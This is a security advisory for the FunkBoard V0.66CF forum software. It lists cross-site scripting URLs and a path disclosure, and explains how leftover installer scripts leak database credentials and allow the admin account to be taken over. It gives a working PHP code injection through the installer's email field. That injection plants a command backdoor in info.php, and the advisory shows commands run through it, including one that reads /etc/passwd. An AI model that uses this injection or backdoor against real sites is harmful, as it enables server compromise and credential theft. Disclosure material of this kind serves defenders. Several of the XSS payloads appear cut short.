FunkBoard V0.66CF (possibly prior versions) cross site scripting,
possible database username/password disclosure & board takeover,
possible remote code execution
software:
author site: http://www.[path_to_funkboard].co.uk/
xss:
http://[target]/[path_to_funkboard]/editpost.php?fbusername=">
http://[target]/[path_to_funkboard]/editpost.php?fbpassword=">
http://[target]/[path_to_funkboard]/prefs.php?fbpassword=">
http://[target]/[path_to_funkboard]/prefs.php?fbusername=">
http://[target]/[path_to_funkboard]/newtopic.php?forumid=1&fbusername=">
http://[target]/[path_to_funkboard]/newtopic.php?forumid=1&fbpassword=">
http://[target]/[path_to_funkboard]/newtopic.php?forumid=1&subject=">
http://[target]/[path_to_funkboard]/reply.php?forumid=1&threadid=1&fbusername=">
http://[target]/[path_to_funkboard]/reply.php?forumid=1&threadid=1&fbpassword=">
http://[target]/[path_to_funkboard]/profile.php?fbusername=">
http://[target]/[path_to_funkboard]/profile.php?fbpassword=">
http://[target]/[path_to_funkboard]/register.php?fbusername=">
http://[target]/[path_to_funkboard]/register.php?fmail=">
http://[target]/[path_to_funkboard]/register.php?www=">
http://[target]/[path_to_funkboard]/register.php?icq=">
http://[target]/[path_to_funkboard]/register.php?yim=">
http://[target]/[path_to_funkboard]/register.php?location=">
http://[target]/[path_to_funkboard]/register.php?sex=">
http://[target]/[path_to_funkboard]/register.php?interebbies=">
http://[target]/[path_to_funkboard]/register.php?sig=
http://[target]/[path_to_funkboard]/register.php?aim=">
path disclosure:
http://[target]/[path_to_funkboard]/images/forums.php
database username & password disclosure:
during installation is not remembered to delete the mysql_install script and the installation
do not delete it, usually:
http://[target]/[path]/admin/mysql_install.php
or
http://[target]/[path]/admin/pg_install.php
there, a user can see database clear text username & password ...
Then, the script let the user proceed to the next page, where he can reset funkboard administator
username & password. Now the script faults, because some tables exist, etc.
So user can go back and setting a new database name for installation, guessing among other
installations on the server...
Once Installation succeeded he can set new admin username e password then login at this page:
http://[target]/[path]/[path_to_funkboard]/admin/index.php
Now the user can edit templates and append some evil javascript code.
remote code execution:
look at this code in mysql_install.php :
$infoout = "";
echo "Writing Config File
";
unlink ("../info.php");
$outname="../info.php";
$file = fopen($outname,"w+");
fputs($file, $infoout);
fclose($file);
clearly, you can inject php code, example:
go to http://[target]/[path]/admin/mysql_install.php
in email field (not checked) write:
email@domain.com'; error_reporting(0); system($HTTP_GET_VARS[command]); echo '
press continue...
now look at info.php, the config file in main directory, you have:
so, you have a backdoor on target system...
you can launch commands by this urls:
http://localhost:30/funkboard/info.php?command=ls%20-la
to list directories...
http://localhost:30/funkboard/info.php?command=cat%20/etc/passwd
to see /etc/passwd file
this is my proof of concept exploit:
FunkBoard V0.66CF (possibly prior versions) remote commands execution
a script by rgod at http://rgod.altervista.org